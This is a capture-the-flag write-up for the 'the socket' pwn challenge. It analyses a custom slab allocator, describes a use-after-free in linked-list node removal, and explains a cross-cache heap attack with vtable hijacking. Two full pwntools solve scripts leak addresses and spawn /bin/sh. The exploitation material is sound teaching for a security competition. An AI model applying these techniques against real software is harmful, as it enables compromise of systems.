# [Writeup] Hacktheon Sejong 2025 - the socket
Nice chall... for a >= 24h CTF. Not the 8h one.
## About
This challenge was solved by one single team at the competition, with an unintended solution.
After the comp, the author did a write-up session. However, he spoke Korean; and the only thing left in my mind is the word `UAF` (yes there was live translation, but `¯\_(ツ)_/¯`)
In total, getting a shell takes me 24 hours, span across 5 days to solve this (including 5-6 hours panicking at the competition).
IDA file: https://drive.google.com/file/d/17VOr5mfqcj-5A-pqgOI7LHD_rgqEOQln/view?usp=sharing
## Allocator implementation
Let's look at the structures for allocator
```C
00000000 struct allocator // sizeof=0x28
00000000 {
00000000 slab *slab_list_head;
00000008 __int64 n_slab;
00000010 __int64 n_active_slab;
00000018 char *bitset_used_slab;
00000020 ...
00000028 };
00000000 struct slab // sizeof=0x60
00000000 {
00000000 struct slab *next;
00000008 void *mem_start;
00000010 unsigned __int8 *bitset_used_slot;
00000018 _BYTE slab_name[32];
00000038 _QWORD obj_size;
00000040 _QWORD n_total_slot;
00000048 _QWORD n_free_slot;
00000050 int obj_order; // object size = 0x20 * 2 ^ (order & 7)
00000054 _WORD is_active;
00000056 ...
00000058 __int64 slab_bitset_idx;
00000060 };
```
The allocator is similar to that of the linux kernel:
- it has slabs with constant size of 0x1000, its memory address is random, allocated with `mmap(size=0x1000...)`
- a slab is split into smaller slots, with size being a power of 2, in range [0x20, 0x1000], like 0x20, 0x40, 0x80...; that's determined on the creation of slab.
- a slab can be one of the two types:
- `kalloc`: containing system structs.
- `data`: containing user data.
- a slab has a name `<type>.<slotsize>`, for example, `kalloc.64`, `data.1024`...
The allocator is a global pointer to an object on the normal heap.
The interface for this allocator is 3 functions:
- `allocate_kalloc(size)`
- `allocate_data(size)`
- `deallocate(ptr)`
The 2 allocate functions call `get_obj_order(size, is_data)` to get the value `order = log2(size round to nearest power of 2 / 0x20) | (is_data << 3)`, and pass into function `allocate(int order, bool is_data)`.
Inside `allocate`:
- line 10-24: traverse the slab list to find the slab with same order and is_data flag, if there's any, call `allocate_from_slab`, return if success. If not, move on to line 25.
- line 25: if there's already 64 allocated slabs, call `move_first_empty_slab_to_head` to look for the first empty slab, and move its `struct slab*` to the head of slab linked-list.
- line 27: look for the first available `struct slab*` in the list, and initialize the slab for this order & is_data.
- line 30: allocate from the new slab.
```C=
void *__fastcall allocate(unsigned int obj_order, char is_data)
{
struct slab *cur_slab; // [rsp+18h] [rbp-28h]
struct slab *slab; // [rsp+20h] [rbp-20h]
void *mem; // [rsp+28h] [rbp-18h]
void *block; // [rsp+30h] [rbp-10h]
if ( !allocator )
return 0LL;
for ( cur_slab = allocator->slab_list_head; cur_slab; cur_slab = cur_slab->next )
{
if ( obj_order == cur_slab->obj_order )
{
if ( cur_slab->n_free_slot )
{
if ( cur_slab->obj_order > 7u == is_data )
{
block = (void *)allocate_from_slab(cur_slab);
if ( block )
return block;
}
}
}
}
if ( allocator->n_slab == 64 && (unsigned __int8)move_first_empty_slab_to_head(obj_order) != 1 )// not exist slab at index
return 0LL;
slab = create_slab(obj_order);
if ( !slab )
return 0LL;
mem = (void *)allocate_from_slab(slab);
if ( mem )
return mem;
else
return 0LL;
}
```
Inside `allocate_from_slab`: traverse all slots from the beginning of the slab page, return the first empty one if any.
Inside `deallocate`:
- check if the pointer is valid inside any slab, then mark the bit at that position to 0, indicating unused; memset memory to all 0, and put 0xdeadbeefdeadbeef at offset 0 for a cookie-like behavior (?)
## Network structures
The most important one is `struct socket`
```C
00000000 struct socket // sizeof=0x268
00000000 {
00000000 _BYTE gap0[8];
00000008 void *sock_family_private_data;
00000010 struct protocol_handler *handler;
...
000000A0 socket *this_p;
...
00000198 struct sockopt_list_item *sockopt_list;
...
00000268 };
```
For the `void *sock_family_private_data`, it is initialized based on the family & type of the socket:
- `netdriver_create`
```C
00000000 struct netdriver_privdata // sizeof=0x30
00000000 {
00000000 struct socket *socket;
00000008 char name[6];
0000000E __int16 protocol;
...
00000014 int n_node;
...
00000020 netdriver_privdata_node *node_list;
...
00000030 };
00000000 struct __attribute__((packed)) __attribute__((aligned(1))) netdriver_privdata_node // sizeof=0x9;variable_size
00000000 {
00000000 netdriver_privdata_node *next;
00000008 netdriver_privdata_node_data data;
00000009 };
00000000 struct netdriver_privdata_node_data // sizeof=0x1;variable_size
00000000 { // XREF: netdriver_privdata_node/r
00000000 unsigned __int8 size;
00000001 char val[];
00000001 };
__int64 __fastcall netdriver_create(socket *socket, __int16 protocol)
{
netdriver_privdata *privdata; // [rsp+10h] [rbp-10h]
privdata = (netdriver_privdata *)allocate_kalloc(0x30uLL);
if ( !privdata )
return 55LL;
privdata->socket = 0LL;
*(_QWORD *)privdata->name = 0LL;
...
privdata->node_list = 0LL;
...
socket->sock_family_private_data = privdata;
strcpy(privdata->name, "VRDN\x1B");
privdata->socket = socket;
privdata->protocol = protocol;
...
return 0LL;
}
```
- `internet60_create`, `internet61_create`
```C
00000000 struct internet6_privdata // sizeof=0xE8
00000000 {
...
00000020 struct socket *socket;
...
000000C8 internet6_privdata_node *one_node;
...
000000E8 };
int __fastcall internet60_create(struct socket *socket)
{
internet6_privdata *s; // [rsp+10h] [rbp-10h]
if ( socket->sock_family_private_data )
return 22;
s = (internet6_privdata *)allocate_kalloc(0xF8uLL);
if ( !s )
return 55;
memset(s, 0, 0xF8uLL);
socket->sock_family_private_data = s;
s->socket = socket;
...
return 0;
}
int __fastcall internet61_create(struct socket *socket)
{
// basically the same as above, the difference doesn't matter much
}
```
## Implemented calls
### socket
We can create `socket` of type INTERNET6, with TCP or UDP protocol

Or a NETDRIVER one: `socket(NETDRIVER, 3, 0)`
The number 3 is `SOCK_RAW`, 0 is protocol specific for the family.
```
socket = (socket *)allocate_kalloc(0x268uLL);
```
Then it call the constructor of each (family, protocol).
#### `internet60_create` (INTERNET6 UDP)
```C
s = (internet6_privdata *)allocate_kalloc(0xF8uLL);
if ( !s )
return 55;
memset(s, 0, 0xF8uLL);
... // (see above)
```
#### `internet61_create` (INTERNET6 TCP)
```C
s = (internet6_privdata *)allocate_kalloc(0xF8uLL);
if ( !s )
return 55;
memset(s, 0, 0xF8uLL);
... // (see above)
```
#### `netdriver_create`
```C
privdata = (netdriver_privdata *)allocate_kalloc(0x30uLL);
... // (see above)
```
### setsockopt
#### standard socket options:
- Type 0x4000: Add new `socket_list_item` to the end of `socket->sockopt_list`, size of data <= 0xff0 (0xff0 + 0x10 header = 0x1000 = max size for custom allocator).
```C
if ( request->size > 0xFF0 )
return 22;
new_sockopt_list_item = (sockopt_list_item *)allocate_data(request->size + 16LL);
if ( !new_sockopt_list_item )
return 55;
memset(new_sockopt_list_item->data, 0, request->size);
status = memcpy_to_sockopt_specify_2_size(request, new_sockopt_list_item->data, request->size, request->size);
```
<details>
<summary>Other types that doesn't matter</summary>
* Type 4133: Controls a bitmask flag (bit 6) in socket->bitmask.
* Type 4131: Controls another bitmask flag (bit 1) in socket->bitmask
* Type 128: Sets socket family and controls bit 7 in socket->other_bitmask
* Types 1024, 4, 8, 16: Control corresponding bits in socket->other_bitmask
</details>
<details>
<summary>Return values</summary>
* 0: Success
* 22: Invalid argument (EINVAL)
* 42: Operation not supported (EOPNOTSUPP)
* 55: No space available in our allocator (ENOBUFS)
* -1: Invalid file descriptor
</details>
#### internet6 specific options @ `internet6_sockopt_handler`
<details>
<summary>Things that I don't even use</summary>
Operate on fields of `internet6_privdata->one_node`, type is `internet6_privdata_node`
- Type 63: set an integer `some_val_4`
- Type 42: set an integer `some_val_0`
- Type 20: set an integer `some_val_30`
- Type 19: set 20 bytes of char* `data_ptr`
- Type 14: set a bitmask in private data.
</details>
#### netdriver specific options @ `netdriver_sockopt_handler`
Operate on fields `netdriver_privdata->node_list`, type is `netdriver_privdata_node *node_list`.
- Type 5: add node with content max len `0xFF` to start of private data's linked-list.
- Type 6: remove a node with some content in a the private data's linked-list. There's a bug here when we try to remove a node at index 1. Assume the list is 0 -> 1 -> 2. If the target = 1, then it only deallocate the node, not remove it from the list => UAF.
### getsockopt
#### standard socket options:
- Type 0x4000: Get content of the first node in the list `socket->sockopt_list`, deallocate that node. So that list is a queue.
```C
memset(request->ptr, 0, request->size);
memcpy_to_sockopt(request, cur_item->data, cur_item->size);
if ( cur_item->next )
socket->sockopt_list = cur_item->next;
else
socket->sockopt_list = 0LL;
deallocate(cur_item);
```
<details>
<summary>Other types that don't matter</summary>
* Type 4133: Get bit 6 in `socket->bitmask`, return 4 bytes.
* Type 4131: Get bit 1 in `socket->bitmask`, return 4 bytes.
* Type 1024: Get bit 10 in `socket->other_bitmask`, return 4 bytes.
* Type 128: Get bit 7 of `socket->other_bitmask` and `socket->family`, return 8 bytes.
* Type in [4, 7] and [9, 32]: Return `socket->other_bitmask & type`, 4 bytes.
</details>
#### internet6 specific options @ `internet6_sockopt_handler`
<details>
<summary>Types I don't use</summary>
* Type 63: get 4 bytes of an integer `some_val_4`
* Type 42: get 4 bytes of an integer `some_val_0`
* Type 19: get 20 bytes of char* `data_ptr`
</details>
#### netdriver specific options @ `netdriver_sockopt_handler`
Not supported.
### close
- Call the family-specific close handler first (`internet6_close` or `netdriver_close`)
- Then deallocate the private data,
- Then clear the `sockopt_list`,
- Then deallocate the socket object
#### `internet6_close`
<details>
<summary>Doesn't matter</summary>
Deallocate the `internet6_privdata_node *one_node` pointer in private data.
```C
__int64 __fastcall internet6_close(struct socket *socket)
{
internet6_privdata *sock_family_private_data; // [rsp+10h] [rbp-10h]
sock_family_private_data = (internet6_privdata *)socket->sock_family_private_data;
if ( sock_family_private_data->one_node )
{
if ( sock_family_private_data->one_node->data_ptr )
clear_internet6_privdata_node(sock_family_private_data->one_node, 19);
deallocate(sock_family_private_data->one_node);
sock_family_private_data->one_node = 0LL;
}
return 0LL;
}
```
</details>
#### `netdriver_close`
Release all node in linked-list `netdriver_privdata_node *node_list` in private data.
```C
void __fastcall netdriver_release_nodes(netdriver_privdata *privdata)
{
netdriver_privdata_node *cur_node; // [rsp+10h] [rbp-10h]
while ( privdata->node_list )
{
cur_node = privdata->node_list;
privdata->node_list = cur_node->next;
deallocate(cur_node);
}
}
```
## Bug & analysis
In `netdriver_sockopt_handler`:
There's wrong node linked-list deletion. The vulnerable situation is:
* List: Node 0 -> Node 1.
* Target: Node 1.
For this, it doesn't remove Node 1 from the list, but just deallocate it.
So, this bug is clearly a UAF. And since it's still in the list, I can free it how many time I want.
And for an allocator of this type, to reclaim it to something exploitable, I've prepared my mind to do some cross-cache attack, like in the linux kernel.
The above UAF is slot level UAF. I have to "free" the whole data slab, then reuse that slab for a kalloc slab that serve objects which have valuable pointers & vtable.
So, a natural part of me think of overlapping the freed region with 2 objects:
* One that we can read, to leak info => `sockopt_list_item`
```C
00000000 struct sockopt_list_item // sizeof=0x10;variable_size
00000000 {
00000000 sockopt_list_item *next;
00000008 unsigned int size;
...
00000010 char data[];
00000010 };
```
* One that have important pointer, but there's large value at offset 8 for size => I obviously choose `struct socket`. On my first solution, I choose `struct netdriver_privdata` by some misunderstanding, but it turns out to be really good ;)).
```C
00000000 struct socket // sizeof=0x268
00000000 {
00000000 _BYTE gap0[8];
00000008 void *sock_family_private_data;
00000010 struct protocol_handler *handler;
...
000000A0 socket *this_p;
...
00000198 struct sockopt_list_item *sockopt_list;
...
00000268 };
```
With those two socket overlapped, I can do `getsockopt`, and read the `*handler` -> leak binary base, read the `*this_p` -> leak address of the page containing the socket. And then that `struct socket` is freed back to the custom allocator.
If the slab is also freed, we can reclaim the struct socket with a sockopt item size 0xff0, and write a pointer `x` to `sockopt_list_item *sockopt_list` to read data at `x+0x10`. We can choose x to be GOT table => leak libc.
Then we free that page & reclaim again to overwrite the `protocol_handler *handler` of the socket to a fake vtable, with system pointer at `sockopt_actions_handler`. And also set the first 8 bytes of the socket struct to `/bin/sh`. Then call `getsockopt` to have a shell.
```C
00000000 struct protocol_handler // sizeof=0x20
00000000 { // XREF: LOAD:stru_0/r
00000000 // .data:internet6_handler_0/r ...
00000000 __int64 unknown1;
00000008 __int16 protocol;
0000000A unsigned __int16 type;
0000000C int additional_data;
00000010 struct vtable *vtable;
00000018 unsigned int (__fastcall *sockopt_actions_handler)(struct socket *, sockopt *);
00000020 };
```
Now there's my two solutions. They just differ a little bit. The core idea is still cross-cache attack & vtable hijacking. The first way is kind of non-intuitive.
## Detailed exploit approach 1 (through netdriver_privdata)
- ((1)): fill in 128 slots in a slab of size 0x20 (call it slab 0), by inserting 128 objects into `sockopt_list` of fd 0. The socket of this type can be whatever. I choose `internet60`.
- ((2)): setup a vulnerable situation, by creating 0 -> 1 in node list of `netdriver`'s private data. This is fd 1. These node should be size of 0x20. The node 0 is in a new slab. `getsockopt` the fd 0 to free the first slot of the old slab. Then, the node 1 is allocated in the first slot of the old slab.
- ((3)): the allocator now has 6 slab. create a new fd 2, 3, 4, and then fill it with 58 sockopt with size 0xff0 => use up all 64 slabs.
- ((4)): trigger UAF-free the node 1. And do `getsockopt` 127 times to get out all the 0x20 item in the slab. Now the slab of size 0x20 is set to not active, and can be reused for slab of any slot size.
- ((5)): create fd 5 of type `internet60`, call `setsockopt` to create a sockopt item, the size should be `sizeof(netdriver_privdata) - 16`, accounting for the header. So the object is in slab of size 0x40. Since the previous slab of size 0x40 was full, the allocator create a new slab. And that slab is the just-freed slab 1.
- ((6)): create another sockopt item of size 0x40, so that the new slab doesn't get freed when we trigger UAF-free again. The sockopt item can be put in fd 4, it doesn't affect the result of the approach.
- ((7)): trigger free again, by closing fd 1. Now there's two inactive slabs.
- ((8)): We reclaim those by creating 2 sockopt item of size 0xff0 into fd 2. Our victim slab still has a sockopt item in fd 4. We do `getsockopt` on fd 4 to free the victim slab. Now there's only one inactive slab. => Create fd 1 of type `netdriver` (it should be fd 6, but because the fd slot 1 is empty, it goes there). The new object of type `netdriver_privdata` overlap the `sockopt_list_item` created in ((5)).
- ((9)): call `getsockopt` on fd 5, since the next ptr overlap with `netdriver_privdata`'s `socket* socket` pointer, now fd 5 sockopt list has `socket` object of fd 4 on its head.
- ((10)): call `getsockopt` on fd 5 again, the size field of `sockopt_list_item` overlap with `void *sock_family_private_data`, so the size is large => we can do OOB read and leak binary base & address of the struct socket of fd 1. After this step, the `socket` object of fd 1 is freed.
- ((11)): reclaim the `socket` object of fd 6, write `sockopt_list` to the 3rd GOT entry. I have to do this in page-spray style. Close fd 4, 5 to get that slab freed. Then reclaim by creating a sockopt item of size 0xff0 to fd 3.
- ((12)): call `getsockopt` on fd 1 => libc leak.
- ((13)): reclaim the `socket` object of fd 6 by call `setsockopt` on fd 0, write `protocol_handler *handler` to our fake `struct protocol_handler` that has `sockopt_actions_handler` set to `system`. The fake `protocol_handler` is put to the start of the slab page. Also put `/bin/sh` at the start of our fake socket.
- ((14)): call `getsockopt` protocol specific on fd 1 => PROFIT.
### Solve script
```python3=
#!python3
from pwn import *
context.binary = exe = ELF("./the_socket_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")
context.terminal = 'tmux splitw -h'.split()
remote_connection = "nc addr 5000".split()
local_port = 32773
gdbscript = '''
decompiler connect ida --host 172.16.242.128 --port 3662
# allocate netdriver
brva 0x4031
# UAF-free deallocate
brva 0x42a3
# allocate to reclaim
brva 0x49c3
# allocate netdriver_privdata
brva 0x3cf1
# getsockopt copy to output
brva 0x4e0b
'''
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
return process([exe.path])
def GDB():
if args.NOGDB: return
if not args.LOCAL and not args.REMOTE:
gdb.attach(p, gdbscript=gdbscript)
pause()
p = start()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)
CREATE = 1
SETSOCKOPT = 2
GETSOCKOPT = 3
CLOSE = 4
NetDriver = 27
internet6 = 30
def send_int(data):
s(p8(1) + p8(0) + p16(4))
s(p32(data))
def send_str(data):
s(p8(2) + p8(0) + p16(len(data)))
s(data)
def create_(family, typ, param):
payload = p16(CREATE) + p16(3)
sa(b'> ', payload)
send_int(family)
send_int(typ)
send_int(param)
p.recvuntil(b'created.\n')
def close_(fd):
payload = p16(CLOSE) + p16(1)
sa(b'> ', payload)
send_int(fd)
def getsockopt_(fd, protocol_specific, option, string, size):
payload = p16(GETSOCKOPT) + p16(5)
sa(b'> ', payload)
send_int(fd)
if protocol_specific:
send_int(0)
else:
send_int(0xffff)
send_int(option)
send_str(string)
send_int(size)
def setsockopt_(fd, protocol_specific, option, string, size, watch=True):
payload = p16(SETSOCKOPT) + p16(5)
sa(b'> ', payload)
send_int(fd)
if protocol_specific:
send_int(0)
else:
send_int(0xffff)
send_int(option)
send_str(string)
send_int(size)
if watch:
p.recvuntil(b'setsockopt succeed.\n')
# ((1))
create_(internet6, 1, 6) # fd 0
for i in range(128):
setsockopt_(0, False, 0x4000, b'AAAA', 4)
# ((2))
create_(NetDriver, 3, 0) # fd 1
getsockopt_(0, False, 0x4000, b'hahaha', 6)
setsockopt_(1, True, 5, p8(16) + b'1'*15, 16)
setsockopt_(1, True, 5, p8(16) + b'0'*15, 16)
# now it is 0000 -> 1111, 1111 is the first slot of the old slab
# ((3))
create_(internet6, 1, 6) # fd 2
create_(internet6, 1, 6) # fd 3
create_(internet6, 1, 6) # fd 4
for i in range(58):
setsockopt_(2, False, 0x4000, b'.'*0xff0, 0xff0)
# ((4))
setsockopt_(1, True, 6, p8(16) + b'1'*15, 16)
for i in range(127):
getsockopt_(0, False, 0x4000, b'hahaha', 6)
# ((5))
create_(internet6, 1, 6) # fd 5
setsockopt_(5, False, 0x4000, b'X'*24, 24)
# ((6))
setsockopt_(4, False, 0x4000, b'X'*24, 24)
# ((7))
close_(1)
# ((8))
setsockopt_(2, False, 0x4000, b'.'*0xff0, 0xff0)
setsockopt_(2, False, 0x4000, b'.'*0xff0, 0xff0)
getsockopt_(4, False, 0x4000, b'X'*24, 24)
create_(NetDriver, 3, 0) # fd 1
# ((9))
getsockopt_(5, False, 0x4000, b'A'*100, 100)
# ((10))
getsockopt_(5, False, 0x4000, b'A'*0x98, 0x98)
p.recvuntil(b'getsockopt : ')
leak = bytes.fromhex(p.recvuntil(b'\n', drop=True).decode())
exe.address = u64(leak[:8]) - 0x7100
socket_6 = u64(leak[-8:])
log.success(f'{hex(exe.address) = }')
log.success(f'{hex(socket_6) = }')
# ((11))
close_(4)
close_(5)
setsockopt_(2, False, 0x4000, b'.'*0xff0, 0xff0)
payload = flat({
0x198: 0x6f50 + exe.address # 3rd got entry
}, length=0x268, filler=b'\0')
setsockopt_(3, False, 0x4000, ((0x800-0x10) *b'.'+payload).ljust(0xff0, b'.'), 0xff0)
# ((12))
getsockopt_(1, False, 0x4000, b'.'*8, 8)
p.recvuntil(b'getsockopt : ')
leak = bytes.fromhex(p.recvuntil(b'\n', drop=True).decode())
libc.address = u64(leak[:8]) - 0x136550
log.success(f'{hex(libc.address) = }')
# ((13))
getsockopt_(3, False, 0x4000, b'.'*8, 8)
fake_handler_addr = socket_6 - 0x800
fake_handler = flat({
0x8: libc.sym.system
}, length=0x20, filler=b'\0')
fake_socket = flat({
0: b'/bin/sh\0',
0x10: fake_handler_addr,
}, length=0x268, filler=b'\0')
payload = b''
payload += fake_handler.ljust(0x800-0x10, b'.')
payload += fake_socket
setsockopt_(3, False, 0x4000, payload, 0xff0)
# ((14))
setsockopt_(1, True, 5, p8(16) + b'1'*15, 16, False)
p.interactive()
```
## Detailed exploit approach 2 (straight to struct socket)
- ((1)): fill in 128 slots in a slab of size 0x20 (call it slab 0), by inserting 128 objects into `sockopt_list` of fd 0. The socket of this type can be whatever. I choose `internet60`.
- ((2)): setup a vulnerable situation, by creating 0 -> 1 in node list of `netdriver`'s private data. This is fd 1. These node should be size of 0x20. The node 0 is in a new slab. `getsockopt` the fd 0 to free the first slot of the old slab. Then, the node 1 is allocated in the first slot of the old slab.
- ((3)): the allocator now has 6 slab. create a new fd 2, 3, 4, and then fill it with 58 sockopt with size 0xff0 => use up all 64 slabs.
- ((4)): trigger UAF-free the node 1. And do `getsockopt` 127 times to get out all the 0x20 item in the slab. Now the slab of size 0x20 is set to not active, and can be reused for slab of any slot size.
- ((5)): create fd 5 of type `internet60`, call `setsockopt` to create a sockopt item, the size should be 0xff0. It allocate a full slab for the item. And that slab is the just-freed slab 1.
- ((6)): trigger free again (but getsockopt a page of fd 2 to be allocated as `target`).
- ((7)): we call create fd until the pages for struct socket is filled and it create a new slab for that. The struct socket of fd 12 will overlap the `sockopt_list_item` created in ((5)).
- ((8)): call `getsockopt` on fd 5, the size field of `sockopt_list_item` overlap with `void *sock_family_private_data`, so the size is large => we can do OOB read and leak binary base & address of the struct socket of fd 12. After this step, the `socket` object is freed.
- ((9)): reclaim the `socket` object of fd 12, write `sockopt_list` to the 3rd GOT entry. Reclaim by creating a sockopt item of size 0xff0 to fd 3.
- ((10)): call `getsockopt` on fd 12 => libc leak.
- ((11)): reclaim the `socket` object of fd 12 by call `setsockopt` on fd 0, write `protocol_handler *handler` to our fake `struct protocol_handler` that has `sockopt_actions_handler` set to `system`. Also put `/bin/sh` at the start of our fake socket.
- ((12)): call `getsockopt` protocol specific on fd 12 => PROFIT.
Yeap that was my solution, but the first 0x10 bytes of the socket was not controlable, therefore I can't put /bin/sh there when spray.
Instead, I change `sockopt_actions_handler` to `gets` and put `/bin/sh` there. And change the `close_handler` in `vtable` to `system`.
In the function `playground`, it call exit if status is negative. So we have a 50% success rate in this approach.
```
status = process(&buf);
if ( status < 0 )
exit(255);
```
So I change the last 2 step:
* ((11)): reclaim the `socket` object of fd 12 by call `setsockopt` on fd 0, write `protocol_handler *handler` to our fake `struct protocol_handler` that has `sockopt_actions_handler` set to `gets`; and `close_handler` set to `system`. When it run, we enter `/bin/sh` => that one be at the start of our fake socket.
* ((12)): call `close` on fd 12 => `system("/bin/sh")` => PROFIT.
We might overcome 50% rate by putting the struct socket in the middle of the slab. But that's just too much work for me. The first approach is already intelligent enough :))
### Solve script
```python3=
#!python3
from pwn import *
context.binary = exe = ELF("./the_socket_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")
context.terminal = 'tmux splitw -h'.split()
remote_connection = "nc addr 5000".split()
local_port = 32773
gdbscript = '''
'''
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
return process([exe.path])
def GDB():
if args.NOGDB: return
if not args.LOCAL and not args.REMOTE:
gdb.attach(p, gdbscript=gdbscript)
pause()
p = start()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)
CREATE = 1
SETSOCKOPT = 2
GETSOCKOPT = 3
CLOSE = 4
NetDriver = 27
internet6 = 30
def send_int(data):
s(p8(1) + p8(0) + p16(4))
s(p32(data))
def send_str(data):
s(p8(2) + p8(0) + p16(len(data)))
s(data)
def create_(family, typ, param):
payload = p16(CREATE) + p16(3)
sa(b'> ', payload)
send_int(family)
send_int(typ)
send_int(param)
p.recvuntil(b'created.\n')
def close_(fd):
payload = p16(CLOSE) + p16(1)
sa(b'> ', payload)
send_int(fd)
def getsockopt_(fd, protocol_specific, option, string, size):
payload = p16(GETSOCKOPT) + p16(5)
sa(b'> ', payload)
send_int(fd)
if protocol_specific:
send_int(0)
else:
send_int(0xffff)
send_int(option)
send_str(string)
send_int(size)
def setsockopt_(fd, protocol_specific, option, string, size, watch=True):
payload = p16(SETSOCKOPT) + p16(5)
sa(b'> ', payload)
send_int(fd)
if protocol_specific:
send_int(0)
else:
send_int(0xffff)
send_int(option)
send_str(string)
send_int(size)
if watch:
p.recvuntil(b'setsockopt succeed.\n')
# ((1))
create_(internet6, 1, 6) # fd 0
for i in range(128):
setsockopt_(0, False, 0x4000, b'AAAA', 4)
# ((2))
create_(NetDriver, 3, 0) # fd 1
getsockopt_(0, False, 0x4000, b'hahaha', 6)
setsockopt_(1, True, 5, p8(16) + b'1'*15, 16)
setsockopt_(1, True, 5, p8(16) + b'0'*15, 16)
# now it is 0000 -> 1111, 1111 is the first slot of the old slab
# ((3))
create_(internet6, 1, 6) # fd 2
create_(internet6, 1, 6) # fd 3
create_(internet6, 1, 6) # fd 4
for i in range(58):
setsockopt_(2, False, 0x4000, b'.'*0xff0, 0xff0)
# ((4))
setsockopt_(1, True, 6, p8(16) + b'1'*15, 16)
for i in range(127):
getsockopt_(0, False, 0x4000, b'hahaha', 6)
# ((5))
create_(internet6, 1, 6) # fd 5
setsockopt_(5, False, 0x4000, b'X'*0xff0, 0xff0)
# ((6))
getsockopt_(2, False, 0x4000, b'X'*0xff0, 0xff0)
setsockopt_(1, True, 6, p8(0xf0) + b'\x0f' + b'\x00'*6 + b'X'*(0xf0-8), 0xf0, False)
# ((7))
create_(internet6, 1, 6) # fd 6
create_(internet6, 1, 6) # fd 7
create_(internet6, 1, 6) # fd 8
create_(internet6, 1, 6) # fd 9
create_(internet6, 1, 6) # fd 10
create_(internet6, 1, 6) # fd 11
create_(internet6, 1, 6) # fd 12
# ((8))
getsockopt_(5, False, 0x4000, b'A'*0x98, 0x98)
p.recvuntil(b'getsockopt : ')
leak = bytes.fromhex(p.recvuntil(b'\n', drop=True).decode())
exe.address = u64(leak[:8]) - 0x7080
socket_addr = u64(leak[-8:])
log.success(f'{hex(exe.address) = }')
log.success(f'{hex(socket_addr) = }')
# ((9))
payload = flat({
0x198: 0x6f50 + exe.address # 3rd got entry
}, length=0x268, filler=b'\0')
setsockopt_(3, False, 0x4000, (payload[0x10:]).ljust(0xff0, b'.'), 0xff0)
# ((10))
getsockopt_(12, False, 0x4000, b'.'*8, 8)
p.recvuntil(b'getsockopt : ')
leak = bytes.fromhex(p.recvuntil(b'\n', drop=True).decode())
libc.address = u64(leak[:8]) - 0x136550
log.success(f'{hex(libc.address) = }')
# ((11))
getsockopt_(3, False, 0x4000, b'.'*8, 8)
fake_handler_addr = socket_addr + 0x400
fake_handler = flat({
0x8: libc.sym.system,
0x10: fake_handler_addr - 8,
0x18: libc.sym.gets
}, length=0x20, filler=b'\0')
fake_socket = flat({
0: b'/bin/sh\0',
0x10: fake_handler_addr,
}, length=0x400, filler=b'\0')
payload = b''
payload += fake_socket
payload += fake_handler
setsockopt_(3, False, 0x4000, (payload[0x10:]).ljust(0xff0, b'.'), 0xff0)
setsockopt_(12, True, 5, p8(16) + b'1'*15, 16, False)
payload = b'/bin/sh\0'
sl(payload)
# ((12))
# call close_(12)
payload = p16(CLOSE) + p16(1)
try:
sa(b'>', payload)
send_int(12)
log.success("Shell popped!")
p.interactive()
except EOFError:
log.failure("50% failure rate happen.")
p.close()
```